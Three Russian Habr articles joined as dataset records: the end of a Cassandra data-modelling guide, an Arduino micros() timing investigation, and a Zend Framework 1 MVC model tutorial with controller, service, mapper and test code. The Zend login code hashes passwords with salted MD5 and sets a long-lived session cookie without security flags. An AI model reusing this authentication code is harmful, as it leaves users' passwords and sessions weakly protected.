Если бы нам нужны были пользователи только по идентификаторам, нас бы это устроило. Но иногда нам нужно писать другие запросы и накладывать другие ограничения на выборку. Поэтому вспоминаем: это все у нас мапа, у которой есть ключ партиционирования, но внутри нее — отсортированная мапа.
И у нее тоже есть ключ, который мы называем Сlustering Key. Этот ключ, который, в свою очередь, состоит из колонок, которые мы выберем, с помощью которого Cassandra понимает, как у нее данные физически отсортируются и будут лежать на каждой ноде. То есть, для какого-то Partition key Clustering key расскажет, как именно данные запихнуть в это дерево, какое место они там займут.
Это реально дерево, там просто вызывается компаратор, в который мы передаем некий набор колонок в виде объекта, и задается он тоже в виде перечисления колонок.
```
CREATE TABLE users_by_year_salary_id (
user_id uuid,
name text,
year int,
salary float,
PRIMARY KEY((year), salary, user_id)
```
Обратите внимание на директиву Primary key, у нее первый аргумент (в нашем случае год) всегда идет Partition key. Он может состоять из одной или нескольких колонок, это не важно. Если колонок несколько, его нужно еще раз в скобки убрать, чтобы препроцессор языка понял, что это именно Primary key, а за ним все остальные колонки — Clustering key. При этом они будут в компараторе передаваться в том порядке, в котором они идут. То есть, первая колонка более значимая, вторая — менее значимая и так далее. Как мы для data classes пишем, например, поля equals: перечисляем поля, и для них пишем, какие больше, а какие меньше. В Cassandra это, условно говоря, поля data class, к которому будет применяться написанный для него equals.
Задаем сортировку, накладываем ограничения
------------------------------------------
Нужно помнить, что порядок сортировки (убывающая, возрастающая, не важно) задается в тот же момент, когда создается ключ, и поменять его потом будет нельзя. Он физически определяет, как будут рассортированы данные и как они будут лежать. Если нужно будет изменить Clustering key или порядок сортировки, придется создавать новую таблицу и переливать в нее данные. С уже существующей так не получится.
Мы заполнили нашу таблицу пользователями и увидели, что они легли в кольцо сначала по году рождения, а потом внутри на каждой ноде по зарплате и по user ID. Теперь мы можем селектить, накладывая ограничения.
Появляется снова наш работающий `where, and`, и пользователи нам достаются, и все снова хорошо. Но если мы попробуем использовать только часть Clustering key, причем менее значимую, то Cassandra тут же ругнется, что не может в нашей мапе найти место, где этот объект, у которого вот эти поля для компаратора null, а вот этот, который только что задали, — где он лежит. Мне придется снова поднять все данные с этой ноды и отфильтровать их. И это аналог Full Scan в рамках ноды, это плохо.
В любой непонятной ситуации создавай новую таблицу
--------------------------------------------------
Если мы хотим иметь возможность доставать пользователей по ID или по возрасту, или по зарплате, что делать? Ничего. Просто использовать две таблицы. Если надо будет доставать пользователей тремя разными способами — таблиц будет три. Прошли те времена, когда мы экономили место на винте. Это самый дешевый ресурс. Он стоит гораздо дешевле, чем время ответа, которое может быть губительным для пользователя. Пользователю гораздо приятнее получить что-то за секунду, чем за 10 минут.
Мы обмениваем излишнее занимаемое место, денормализованные данные на возможность хорошо масштабироваться, надежно работать. Ведь на самом деле кластер, который состоит из трех дата-центров, в каждом из которых по пять нод, при приемлемом уровне сохранения данных (когда точно ничего не потеряется), способен пережить гибель одного дата-центра полностью. И еще по две ноды в каждом из двух оставшихся. И вот только после этого начнутся проблемы. Это довольно хорошее резервирование, оно стоит пары-тройки лишних ssd-накопителей и процессоров. Поэтому для того, чтобы использовать Cassandra, которая ни разу не SQL, в которой нет отношений, внешних ключей, нужно знать простые правила.
Проектируем все от запроса. Главными становятся не данные, а то, как приложение собирается с ними работать. Если ему нужно получать разные данные разными способами или одни и те же данные разными способами, мы должны положить их так, как будет удобно приложению. Иначе мы будем проваливаться в Full Scan и никакого преимущества Cassandra нам не даст.
Денормализовать данные — это норма. Забываем про нормальные формы, у нас больше не реляционные базы. Положим что-нибудь 100 раз, будет лежать 100 раз. Это все равно дешевле, чем стормозить.
Выбираем ключи для партиционирования так, чтобы они нормально распределялись. Нам не нужно, чтобы хэш от наших ключей попадал в один узкий диапазон. То есть, год рождения в примере выше — плохой пример. Вернее, он хороший, если у нас пользователи по году рождения нормально распределены, и плохой, если речь идет об учениках 5-го класса — там не очень хорошо будет партиционироваться.
Сортировка выбирается один раз на этапе создания Clustering Key. Если ее нужно будет изменить, то придется переливать нашу таблицу с другим ключом.
И самое важное: если нам нужно 100 разными способами забрать одни и те же данные, значит у нас будет 100 разных таблиц. | https://habr.com/ru/post/486800/ | null | ru | null |
# К вопросу о быстродействии и измерении его в Ардуино
Данная задачка возникла при исследовании быстродействия работы Ардуино при выполнении различных команд (об этом в отдельном посте). В процессе исследования возникли сомнения относительно постоянности времени работы отдельных команд при изменении значения операндов (как выяснилось позже, небезосновательные) и было принято решение попытаться оценить время исполнения отдельной команды. Для этого была написана небольшая программа (кто сказал скетч — выйти из класса), которая, на первый взгляд, подтвердила гипотезу. В выводе можно наблюдать значения 16 и 20, но иногда встречаются и 28 и даже 32мксек. Если умножить полученные данные на 16 (тактовую частоту МК), получим время исполнения в тактах МК (от 256 до 512). К сожалению, повторный прогон основного цикла программы (с теми же исходными данными), при сохранении общей картины, дает уже иное распределение времени исполнения, так что действительно имеющие место вариации времени не связаны с исходными данными. Исходная гипотеза опровергнута, но становится интересно, а с чем именно связан столь значительный разброс.
Необходимое примечание — я прекрасно понимаю, что для измерения времени исполнения команд следует использовать более сложные программы, однако для грубой оценки вполне достаточно и такой, что будет продемонстрировано далее.
Итак, время меняется, причем весьма существенно, ищем причины этого явления. Прежде всего, обращаем внимание на кратность полученных величин, смотрим описание на библиотеку работы со временем и видим, что 4мксек — это квант измерения, поэтому лучше перейти к квантам и понимаем, что мы получаем 4 либо 5 (весьма часто) и 6 либо 7 либо 8 (весьма редко) единиц измерения. С первой половиной все легко — если измеряемое значение лежит между 4 и 5 единицами, то разброс становится неизбежным. Более того, считая отсчеты независимыми, мы можем статистическими методами повысить точность измерения, что и делаем, получая приемлемые результаты.
А вот со второй половиной (6,7,8) дела хуже. Мы выяснили, что с исходными данными разброс не коррелирует, значит, это проявление других процессов, влияющих на время исполнения команд. Отметим, что выбросы достаточно редкие и на вычисляемое среднее значение существенным образом не являют. Можно было бы вообще ими пренебречь, но это не наш стиль. Я вообще за годы работы в инженерии осознал, что нельзя оставлять непонятки, сколь бы незначительными они не казались, поскольку они имеют отвратительное свойство бить в спину (ну или еще куда дотянутся) в самый неподходящий момент.
Начинаем выдвигать **гипотезу 1** — самая удобная (в удобстве и универсальности она уступает только прямому вмешательству Творца) – глюки программного обеспечения, конечно же, не моего, мои программы никогда не глючат, а подключаемых библиотек (компилятора, операционной системы, браузера и т.д. – нужное подставить). Более того, поскольку я прогоняю программу в эмуляторе на [www.tinkercad.com](http://www.tinkercad.com), то можно еще сослаться на баги эмулятора и закрыть тему, ведь исходники нам не доступны. Минусы данной гипотезы:
1. От цикла к циклу расположение отклонений меняется, что намекает.
2. Этот сайт все таки поддерживает AutoDesk, хотя аргумент слабоват.
3. «Мы приняли постулат, что происходящее не является галлюцинацией, иначе было бы просто неинтересно».
Следующая предположение – влияние некоторых фоновых процессов на результат измерения. Вроде бы ничего не делаем, кроме как считаем, хотя … мы же выводим результаты в Serial. Возникает **гипотеза 2** – время вывода иногда (странно как то… но все бывает) добавляется к времени выполнения команды. Хотя сомнительно, сколько там того вывода, но все равно – добавляем Flush и не помогло, добавляем задержку на завершение вывода и не помогло, вообще выносим вывод за пределы цикла – все равно время прыгает – это точно не Serial.
Ладно, что осталось – собственно организация цикла ( с какого перепугу ей менять свою длительность, не понятно) и все … хотя остался micros(). Я подразумевал, что время выполнения первого вызова этой функции и второго одинаково и при вычитании этих двух значений получу ноль, но если это предположение неверно?
Гипотеза 3 – иногда второй вызов отсчета времени выполняется дольше, нежели первый либо действия, связанные с отсчетом времени, иногда влияют на результат. Смотрим исходный код функции работы со временем (arduino-1.8.4\hardware\arduino\avr\cores\arduino\wiring.c – я уже неоднократно выражал свое отношение к подобным вещам, повторяться не буду) и видим, что 1 раз из 256 циклов аппаратного увеличения младшей части счетчика происходит прерывание для инкрементирования старшей части счетчика.
Наше время исполнения цикла от 4 до 5, поэтому можно ожидать 170\*(4..5)/256 = от трех до четырех аномальных значений на отрезке из 170 измерений. Смотрим – очень похоже, их действительно 4 штуки. Чтобы разделить первую и вторую причину, делаем вычисления критической секцией с запрещенными прерываниями. Результат особо не меняется, выбросы все равно имеют место быть, значит, дополнительное время вносит вызов micros(). Здесь мы не можем ничего поделать, исходный код хотя и доступен, но менять мы его не можем – библиотеки включены в бинарях. Конечно, мы можем написать свои собственные функции работы со временем и смотреть их поведение, но есть путь проще.
Раз возможной причиной увеличения длительности являются «длинная» обработка прерывания, исключим возможность его возникновения в процессе измерения. Для этого дождемся его проявления и только потом этого проведем цикл измерения. Поскольку прерывание возникает намного реже, чем длится наш цикл измерения, то можно гарантировать его отсутствие. Пишем соответствующий фрагмент программы (пользуясь ~~грязными хаками~~ информацией, извлеченной из исходного кода) и, «это такая уличная магия», все становится нормально – мы измеряем время исполнения 4 и 5 квантов со средним значением времени исполнения операции сложения с ПТ в 166 тактов, что соответствует ранее замеренному значению. Гипотезу можно считать подтвержденной.
Остается еще один вопрос – а что так долго делается в прерываниях, что это занимает
(7,8) – (5) ~ 2 кванта = \*4 = 8мксек \*16 = 128 тактов процессора? Обращаемся к исходному коду (то есть к ассемблерному коду, сформированному компилятором на сайте godbolt.com) и видим, что собственно прерывание исполняется приблизительно 70 тактов, из них 60 постоянно, а при считывании имеются дополнительные расходы в 10 тактов, итого 70 при попадании на прерывание – меньше, чем получено, но достаточно близко. Разницу отнесем на различие компиляторов либо режимов их использования.
Ну и теперь мы можем замерить собственно время исполнения команды сложения ПТ с различными аргументами и убедиться, что оно действительно сильно меняется при изменении аргументов: от 136 тактов для 0.0 до 190 для 0.63 (магическое число), причем составляет всего 162 для 10.63. С вероятностью 99.9% это связано с необходимостью выравнивания и особенностями его реализации в данной конкретной библиотеке, но это исследование явно выходит за пределы рассматриваемой задачи.
**Приложение – текст программы:**
```
void setup()
{
Serial.begin(9600);
}
volatile float t; // так надо
void loop()
{
int d[170];
unsigned long time,time1;
float dt=1/170.;
for (int i=0; i<170; ++i) {
{
// ждем переполнения счетчика и обработки прерывания
time1=micros();
long time2;
do { time2=micros(); }
while ((time2 & ~0xFF) == (time1 & ~0xFF));
};
/**/
time1=micros(); // засекаем время
/*
cli(); // тут был вход в критическую секцию - не помогло
*/
t=10.63; // начальное значение для операции
t=t+dt; // измеряемая операция
/*
sei(); // завершение критической секции
*/
time = micros(); // время окончания
time1=time-time1;
d[i]=time1/4;
/*
Serial.print(time1); // вот тут результаты и прыгали
Serial.flush(); // не помогло убрать выбросы
Delay(20); // тоже не помогло
*/
};
// выводим запомненные результаты, считаем и выводим среднее
float sum=0;
for (int i=0; i<170; ++i) {
sum+=d[i];
Serial.println(d[i]);
};
Serial.println((sum/170-2.11)*4*16); //2.11 – получается при пустой операции
Serial.flush(); // здесь ставим точку останова, чтобы посмотреть графики вывода
}
``` | https://habr.com/ru/post/426941/ | null | ru | null |
# HOWTO: Одна из возможных реализация Модели (MVC) в Zend Framework
Написание статьи навеяно [habrahabr.ru/qa/34735](http://habrahabr.ru/qa/34735/) и [habrahabr.ru/qa/32135](http://habrahabr.ru/qa/32135/) вопросами, в качестве ответов на которые не смог найти полной и подробной информации, чего очень не хватало. Я надеюсь, что она будет полезна и другим.
Проект, на чью долю пал выбор в виде ZF в качестве основного фреймворка, представлял из себя мобильную версию сервиса (адаптивный дизайн с некоторыми ньюансами) + АПИ для мобильных приложений.
Коллегиально было принято политико-техническое решение делать единое АПИ, посредством которого будет общаться и сайт, и приложения.
На этом, думаю, прелюдию можно закончить и перейти к самому интересному.
Статью для удобства разделил на 2 части. [В первой части](#theory) содержится немного теории, мыслей и отсылок к различным источникам. [Во второй части](#examples) я постарался подробно (с примерами кода) показать, как я реализовал свой вариант архитектуры.
#### Немного теории
##### Начало
Zend Framework — не самый простой с точки зрения порога входа. Я потратил достаточно времени, чтобы вникнуть в его идеологию, но после этого, каждый следующий шаг ожидаем, предсказуем и логичен.
Несмотря на достаточное количество [официальной документации](http://framework.zend.com/manual/1.12/en/manual.html), в некоторых местах она достаточно ужата (коллеги даже деликатно прозвали ее «документация в стиле Тви»), и очень многое приходится брать из изучения исходников.
Сразу хочу обратить внимание, тех, кто говорит о монструозности сего чуда — да, зенд достаточно большая, масштабная пушка, из которых на первый взгляд… по воробьям то и не к чему… Но присмотревшись и изучив его особенности даже поверхностно, я могу добавить, что калибр этой пушки очень даже настраивается. Есть достаточно неплохо работающий autoloader, который позволяет подключать минимальный набор классов.
Собрав каркас тестового приложения (quick start) начал процесс проектирования архитектуры при активном изучении возможностей, рекомендаций и best practice разработки на ZF (очень понравилась [презентация](http://www.slideshare.net/weierophinney/playdoh-modelling-your-objects-1766001), почерпнул из нее много мыслей, по тексту на нее еще будут ссылки).
##### Модель в MVC
Многие воспринимают и описывают модель как способ доступа к данным на уровне базы данных, но это не совсем верно. Модель — это не реляционная база данных, и даже не таблица. Данные могут приходить из разных источников.
Я рассмотрел модель как многоуровневую прослойку и выделил для себя 3 слоя:
* Domain Model
* Data Mapper
* Data Access Layer (DAL)
**Domain Model** — описание метаданных объекта, включая геттеры, сеттеры, валидацию данных и описание поведения объекта (behavior). [Бытует мнение](http://msdn.microsoft.com/en-us/magazine/ee236415.aspx), что описание поведение также можно вынести в прослойку DomainEvents, и это есть нечто иное как [Table Data Gateway pattern](http://design-pattern.ru/patterns/table-data-gateway.html).
Этот уровень в моей реализации ничего не знает о способах (и местах) хранения данных.
**Data Mapper** представляет собой некоторую прослойку, предназначенную для непосредственного трансфера данных от уровня абстрактного описания к низкому уровню.
**DAL** содержит прямые запросы к источнику хранения данных. Там можно встретить SQL код и другие прелести жизни. В ZF роль этого уровня выполняет Zend\_Db\_Table и его производные.
Если использовать внешние ORM, например Doctrine, то она вполне заменяет последние уровни и облегчает жизнь разработчика. Так как я себе поставил цель скорее «изучать с погружением», я не стал использовать сторонние ORM и решил сделать ~~свой велосипед~~ свою реализацию.
#### HowTo
###### Структура проекта
Реально получившаяся картина соответствует следующей организации файловой структуры:
```
application/
controllers/
IndexController.php
FooController.php
models/
Abstract/
AbstractMapper.php
AbstractModel.php
DBTable/
FooTable.php
DeviceTable.php
Mapper/
FooMapper.php
DeviceMapper.php
Foo.php
Device.php
services/
DeviceService.php
FooService.php
views/
```
##### Немного кода в примерах
Я сторонник подхода, когда реализуется тонкий контроллер, а весь бизнес выносится в сервисы и модели. Такой подход позволяет минимизировать повторяемость кода, упростить тестирование и внесение изменений в логику.
Приведу пример «нейтрального и стандартного» контроллера, который отвечает за авторизацию, регистрацию и связанные с этими процессами действия.
**Пример контроллера**
```
class DeviceapiController extends Zend_Controller_Action
{
public function init()
{
$this->_helper->viewRenderer->setNoRender(true);
}
/**
* Login user from API Request
* @method POST
* @param json rawBody {"data":{"login": "admin", "password": "password"}}
* @param string login in JSON
* @param string password in JSON
*
* @return string SecretKey
* @return HTTP STATUS 200 if ok
* @return HTTP STATUS 400 if fields doesn't valid
* @return HTTP STATUS 409 if user already exist
*/
public function loginAction()
{
$request = $this->getRequest();
$data = $request->getRawBody();
if ($data) {
// decode from json params
$params = Zend_Json::decode($data);
$result = Application_Service_DeviceService::login($params);
if (!is_null($result['secretKey'])) {
$this->getResponse()
->setHttpResponseCode(200)
->setHeader('Content-type', 'application/json', true)
->setBody(Zend_Json::encode($result));
$this->_setSecretKeyToCookies($result['secretKey']);
return;
}
$this->getResponse()
->setHttpResponseCode(401);
return;
}
$this->getResponse()
->setHttpResponseCode(405);
return;
}
/**
* Profile from API Request
*
* @method GET
* @param Request Header Cookie secretKey
*
* @return json string {"id":"","email":"","realName":""}
* @return HTTP STATUS 200 OK
*/
public function profileAction()
{
$cookies = $this->getRequest()->getCookie();
if (!isset($cookies['secretKey']) || (!Application_Service_DeviceService::isAuthenticated($cookies['secretKey']))) {
$this->getResponse()
->setHttpResponseCode(401)
->setHeader('Content-Type', 'application/json')
->setBody(Zend_Json::encode(array("message" => "Unauthorized")));
return;
}
$result = Application_Service_DeviceService::getProfile($cookies['secretKey'])->toArray();
unset($result['password']);
unset($result['passwordSalt']);
$this->getResponse()
->setHttpResponseCode(200)
->setHeader('Content-type', 'application/json', true)
->setBody(Zend_Json::encode($result));
return;
}
/**
* Logout from API Request
* @method POST
* @param Request Header Cookie secretKey
*
* @return HTTP STATUS 200 OK
*/
public function logoutAction()
{
$cookies = $this->getRequest()->getCookie();
if ($cookies['secretKey']) {
$device = new Application_Model_Device();
$device->deleteByKey($cookies['secretKey']);
$this->_setSecretKeyToCookies($cookies['secretKey'], -1);
if(Zend_Auth::getInstance()->hasIdentity()) {
Zend_Auth::getInstance()->clearIdentity();
}
}
$this->getResponse()
->setHttpResponseCode(200);
return;
}
/**
* Signup user from API Request
* @method POST
* @param json string {"email": "", "password": "", “realName”: “”}
*
* @return string SecretKey
* @return HTTP STATUS 201 Created
* @return HTTP STATUS 400 Bad request
* @return HTTP STATUS 409 Conflict - user already exist
*/
public function signupAction()
{
$request = $this->getRequest();
$data = $request->getRawBody();
// decode from json params
$params = Zend_Json::decode($data);
$email = $params['email'];
$name = $params['realName'];
$password = $params['password'];
$err = array();
if (!isset($email) || !isset($name) || !isset($password) || (filter_var($email, FILTER_VALIDATE_EMAIL)==FALSE))
{
if (!isset($email)) {
$err['email'] = "Email is missing";
}
if (!isset($name)) {
$err['name'] = "Name is missing";
}
if (!isset($password)) {
$err['password'] = "Password are missing";
}
if (filter_var($email, FILTER_VALIDATE_EMAIL)==FALSE) {
$err['valid_email'] = "Email is not valid";
}
}
if (!empty($err)) {
$this->getResponse()
->setHttpResponseCode(400)
->setBody(Zend_Json::encode(array ("invalid" => $err)));
return;
}
$service = new Application_Service_DeviceService();
$params = array("email" => $email, "username" => $name, "password" => $password);
try {
$result = $service->signup($params);
} catch (Zend_Exception_UserAlreadyExist $e) {
$this->getResponse()
->setHttpResponseCode(409)
->setBody(Zend_Json::encode(array("message" => "User already exist")));
return;
}
$this->getResponse()
->setHttpResponseCode(201)
->setHeader('Content-type', 'application/json', true)
->setBody(Zend_Json::encode($result));
$this->_setSecretKeyToCookies($result['secretKey']);
return;
}
/**
* Protected local method to set Secretkey to Cookies
* @param string $secretKey
* @param int | null $timeFlg
*/
protected function _setSecretKeyToCookies($secretKey,$timeFlg = 1) {
$cookie = new Zend_Http_Header_SetCookie();
$cookie->setName('secretKey')
->setValue($secretKey)
->setPath('/')
->setExpires(time() + (1* 365 * 24 * 60 * 60)*$timeFlg);
$this->getResponse()->setRawHeader($cookie);
return;
}
}
```
Таким образом, контроллер в данном примере выполняет роль предварительного валидатора входных данных, роутера на бизнес (вызов определенных сервисов) и формирование ответов. В моем примере мне было необходимо возвращать данные только посредством АПИ. В более сложных случаях, когда нужно отработать одну и ту же логику, только в зависимости от типа запроса или других параметров, выдать ответ в разном формате, удобно использовать content switcher. Например, это может быть полезно, когда один и тот же запрос используется для простого взаимодействия с сайтом, для отработки аякс вызовов, или когда нужно одни и те же данные отдать в различных форматах (либо в JSON, либо в XML, например) в зависимости от Content-Type запроса.
На мой взгляд, это наиболее эффективное использование контроллеров, которое позволяет достаточно легко расширять функционал.
Такие контроллеры достаточно легко тестировать. При этом, тесты действительно помогают понять, как работает функционал, как он должен работать. В процессе разработки я не применял такие методики, как TDD, поэтому тесты писал уже по готовым контроллерам. Это помогло выявить пару узких мест и потенциальных багов.
В подтверждение моих слов о легкой тестируемости таких контроллеров ниже приведу пример тестов.
**Тесты для такого контроллера выглядят так**
```
class LoginControllerTest extends Zend_Test_PHPUnit_ControllerTestCase
{
/*
* Fixtures:
* User with `email@example.com` and `password`
*/
public function setUp()
{
$this->bootstrap = new Zend_Application(APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
parent::setUp();
}
public function testSuccessfulLoginAction()
{
$request = $this->getRequest();
$email = 'email@example.com';
$request->
setMethod('POST')->
setHeader('Content-Type', 'application/json')->
setRawBody(Zend_Json::encode(array(
'email' => $email,
'password' => 'password',
)));
$this->dispatch('/login');
$this->assertResponseCode(200);
$this->assertNotRedirect();
$this->assertHeaderContains('Content-Type', 'application/json');
$data = $this->getResponse()->getBody();
$data = Zend_Json::decode($data, true);
$this->assertArrayHasKey('secretKey', $data);
$this->resetRequest()
->resetResponse();
// Test logout
$request->
setMethod('POST')->
setHeader('Content-Type', 'application/json')->
setCookie('secretKey', $data['secretKey']);
$this->dispatch('/logout');
$this->assertResponseCode(200);
$this->resetRequest()
->resetResponse();
}
public function testLoginWithEmptyParamsAction()
{
$request = $this->getRequest();
$request->
setMethod('POST')->
setHeader('Content-Type', 'application/json')->
setRawBody(Zend_Json::encode(array(
'email' => '',
'password' => '',
)));
$this->dispatch('/login');
$this->assertResponseCode(401);
$this->resetRequest()
->resetResponse();
}
public function testLoginWithoutParamsAction()
{
$request = $this->getRequest();
$request->
setMethod('POST')->
setHeader('Content-Type', 'application/json');
$this->dispatch('/login');
$this->assertResponseCode(405);
$this->resetRequest()
->resetResponse();
}
public function testSignupAction()
{
$request = $this->getRequest();
$email = "newemail_".substr(MD5(uniqid(rand(), true)), 0, 12)."@".substr(MD5(uniqid(rand(), true)), 0, 5).".com";
$request->
setMethod('POST')->
setHeader('Content-Type', 'application/json')->
setRawBody(Zend_Json::encode(array(
'email' => $email,
'password' => 'password',
'realName' => 'John Dow',
)));
$this->dispatch('/signup');
$this->assertResponseCode(201);
$this->assertHeaderContains('Content-Type', 'application/json');
$data = json_decode($this->getResponse()->outputBody(), true);
$this->assertArrayHasKey('secretKey', $data);
$secretKey = $data['secretKey'];
$this->assertArrayHasKey('user', $data);
$this->resetRequest()
->resetResponse();
$request->
setMethod('POST')->
setHeader('Content-Type', 'application/json')->
setRawBody(json_encode(array(
'email' => '2',
'password' => '11',
'realName' => '23s',
)));
$this->dispatch('/signup');
$this->assertResponseCode(400);
$data = json_decode($this->getResponse()->outputBody(), true);
$this->assertArrayHasKey('invalid', $data);
$invalid = $data['invalid'];
$this->assertArrayHasKey('email', $invalid);
$this->assertArrayHasKey('password', $invalid);
$this->resetRequest()
->resetResponse();
}
public function testAlreadyExistUserSignup()
{
$request = $this->getRequest();
$request->
setMethod('POST')->
setHeader('Content-Type', 'application/json')->
setRawBody(Zend_Json::encode(array(
'email' => 'email@example.com',
'password' => 'password',
'realName' => 'John Dow',
)));
$this->dispatch('/signup');
$this->assertResponseCode(409);
$this->resetRequest()
->resetResponse();
}
}
```
В сервисах реализован сам бизнес. Методы сервисов я старался делать статическими. Такой подход позволял мне не создавать лишний раз объект сервиса и минимизировать зависимости сервисов от контекста и друг от друга, что также облегчает их тестирование, рефактор, внесение изменений, расширение функциональности.
Также стоит обратить внимание, что сервисы возвращают данные в контекстно-независимом формате (например, массивы), а их упаковкой в конкретный формат, уже занимается контроллер. Поэтому, если завтра нам потребуется изменить формат передачи данных, мы это сможем изменить ~~легким движением руки~~ «без лишней крови».
**Пример сервиса**
```
class Application_Service_DeviceService
{
public static function login (array $params)
{
if (!empty($params) && !empty($params['email']) && !empty($params['password']))
{
$user = new Application_Model_User();
$device = new Application_Model_Device();
$adapter = new Zend_Auth_Adapter_DbTable(
Zend_Controller_Front::getInstance()->getParam('bootstrap')->getPluginResource("db")->getDbAdapter(),
'user',
'email',
'password',
'MD5(CONCAT(?, passwordSalt,"' //MD5(пароль + уникальный хэш + общий хэш)
. Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('salt') . '"))'
);
//идентификатор пользователя
$adapter->setIdentity($params["email"]);
//параметр для проверки через функцию из Zend_Registry::get('authQuery')
$adapter->setCredential($params["password"]);
$auth = Zend_Auth::getInstance();
if ($auth->authenticate($adapter)->isValid()) //успешная авторизация
{
$id = $user->getCurrentUserId();
$secretKey = $user->generateSecretKey();
try {
$device->userId = $id;
$device->secretKey = $secretKey;
$device->lastUsage = time();
$device->save();
} catch (Exception $e) {
throw new Exception("Couldn't save with error ".$e);
}
$user->loadById($id);
return array("secretKey" => $secretKey, "user" => array("email" => $user->{Application_Model_User::ATTRIBUTE_EMAIL}, "realName" => $user->{Application_Model_User::ATTRIBUTE_REALNAME}, "id" => $user->{Application_Model_User::ATTRIBUTE_ID}));
}
}
return NULL;
}
public function signup (array $params) {
//добавляем пользователя в базу данных
$user = new Application_Model_User();
if ($user->findExistUserByEmail($params['email']))
{
throw new Zend_Exception_UserAlreadyExist();
}
$user->email = $params['email'];
$user->realName = $params['username'];
$user->passwordSalt = $user->generatePwdSalt();
$user->password = $user->generatePwd($params['password']);
$user->save();
return $this->login($params);
}
```
Как видно из кода, в сервисе, при необходимости, осуществляется следующий уровень валидации данных, создаются объекты моделей, идет работа с их свойствами и методами.
Далее, рассмотрим пример самой модели, которая бы описывала наши объекты и их поведение.
**Пример класса модели**
```
class Application_Model_Device extends Application_Model_Abstract_AbstractModel
{
const ATTRIBUTE_ID = "id";
const ATTRIBUTE_USER_ID = "userId";
const ATTRIBUTE_SECRET_KEY = "secretKey";
const ATTRIBUTE_LAST_USAGE = "lastUsage";
protected $_id,
$_userId,
$_secretKey,
$_lastUsage;
public function __construct(array $options = null, $mapper = null)
{
// for future decorate
if (is_null($mapper)) $this->_mapper = new Application_Model_DeviceMapper();
else $this->_mapper = $mapper;
if (is_array($options)) {
$this->setOptions($options);
}
}
/**
* Wrapper block
*/
public function fromProps() {
return $data = array(
self::ATTRIBUTE_USER_ID => $this->userId,
self::ATTRIBUTE_SECRET_KEY => $this->secretKey,
self::ATTRIBUTE_LAST_USAGE => $this->lastUsage,
);
}
/*
* Start describe behaivors of object
*/
public function getDeviceByKey ($key) {
return $this->_mapper->findByKey($key);
}
public function deleteByKey($key) {
return $this->_mapper->deleteByCriteria('secretKey', $key);
}
}
```
**Более сложный пример метода модели**
```
/**
* Delete File in DB and unlink physical file
*
*/
public function deleteFile()
{
$id = $this->id;
if (empty($id)) {
throw new Exception('Invalid id');
return false;
}
$imageFile = UPLOAD_PATH.'/'.$this->{self::ATTRIBUTE_REAL_NAME};
$thImageFile = THUMB_PATH.'/'.$this->{self::ATTRIBUTE_TH_NAME};
// Удаляем эту запись из БД
$this->_mapper->deleteById($id);
// Удаляем физический файл
unlink($imageFile);
unlink($thImageFile);
}
```
Таким образом, наша непосредственная модель включает в себя определение метаданных (свойств объекта) и описывает их поведение. При этом, поведение объекта описано на достаточно абстрактном уровне и заканчивается вызовом определенного метода из маппера, который уже отвечает за взаимодействие с хранилищем. При необходимости подключить дополнительный источник данных, например, завтра мы решим использовать дополнительно NoSQL базу, или начать использовать кэш, то нам будет достаточно декорировать. Еще раз хочу сослаться на [презентацию](http://www.slideshare.net/weierophinney/playdoh-modelling-your-objects-1766001), где очень наглядно продемонстрированы все преимущества такого подхода.
Погружаемся глубже.
Следующим уровнем в моей реализации является маппер. Его основное назначение — пробросить данные или запрос от модели до уровня DAL. Другими словами, на этом уровне мы реализуем Table Data Gateway pattern.
**Пример маппера**
```
class Application_Model_DeviceMapper extends Application_Model_Abstract_AbstractMapper
{
const MODEL_TABLE = "Application_Model_DBTable_DeviceTable";
const MODEL_CLASS = "Application_Model_Device";
/**
* Get DBTable
*
* @return string $dbTable return current dbTable object
*/
public function getDbTable()
{
if (null === $this->_dbTable) {
$this->setDbTable(self::MODEL_TABLE);
}
return $this->_dbTable;
}
public function _getModel() {
return new Application_Model_Device();
}
public function update(array $data, $where)
{
// add a timestamp
if (empty($data['updated'])) {
$data['updated'] = time();
}
return parent::update($data, $where);
}
/**
* @param string $key
* @throws Zend_Exception_Unauthtorize
*/
public function findByKey($key)
{
$result = $this->getDbTable()->fetchRow($this->getDbTable()->select()->where("secretKey = ?", $key));
if (0 == count($result)) {
throw new Zend_Exception_Unauthtorize();
}
return $result;
}
}
```
В рамках своей задачи я реализовал только один маппер — работа с MySql базой, но уже есть задача и подключение работы с кэшем, и потенциальная мысль перевести ряд объектов на NoSQL. Для меня это будет означать лишь необходимость декорирования и написания минимального количества кода. Тесты при этом переписывать не придется (за исключением написания новых :) )
Как видно из кода, данный маппер обращается к классу таблицы — DAL.
Для этой прослойки я не придумывал ничего нового и использовал стандартные классы, которые предоставляет Zend.
Сам класс выглядит весьма не замысловато:
**Класс доступа к данным (уровень DAL)**
```
class Application_Model_DBTable_DeviceTable extends Zend_Db_Table_Abstract
{
protected $_name = 'deviceKey';
protected $_primary = 'id';
protected $_referenceMap = array(
'Token' => array(
'columns' => 'userId',
'refTableClass' => 'Application_Model_DBTable_UserTable',
'refColumns' => 'id',
'onDelete' => self::CASCADE,
'onUpdate' => self::CASCADE,
));
public function __construct($config = array()) {
$this->_setAdapter(Zend_Db_Table::getDefaultAdapter());
parent::__construct();
}
}
```
Если заглянуть в мануалы Zend Framework, то легко заметить, что именно этот (и только этот уровень) предлагается в качестве реализации модели (см. мануалы + Quick Start).
Дополнительно я использую абстрактные методы маппера и модели, но их назначение, надеюсь, очевидно.
В дополнение хочу сказать, что Zend\_Db\_Table возвращает значения либо в массивах, либо в виде объекта соответствующего типа, который не соответствует типу нужного нам объекта, из контекста которого мы вызываем эти методы.
Для приведения данных, получаемых из хранилищ данных, а также для их валидации, мы можем использовать методы, заданные на уровне модели(ORM).
#### Резюме
Этой статьей с достаточным количеством кода я не пытаюсь всем навязать этот подход или же сказать, что нужно продолжать использовать ZF1, а вторую ветку фреймворка, более современную, оставить для светлого будущего. Да, мы эволюционируем, растем и развиваемся, но общие принципы, в том числе архитектурные, они всегда актуальны вне зависимости от используемого инструмента.
На первый взгляд, решение, описанное мною выше, более сложное относительно описанного в мануалах. Также неизбежно создается больше объектов и идет более глубокая проброска данных внутрь.
Это, бесспорно, минусы.
Теперь о плюсах.
* Мы получаем более атомарный код, который удобнее тестировать, а значит он будет проще для чтения, качественнее и вероятность ошибок в нем будет значительно меньше.
* Гибкость, расширяемость. Для расширения функционала необходимо лишь декорировать существующий код.
* Разделение «зон ответственности» между уровнями.
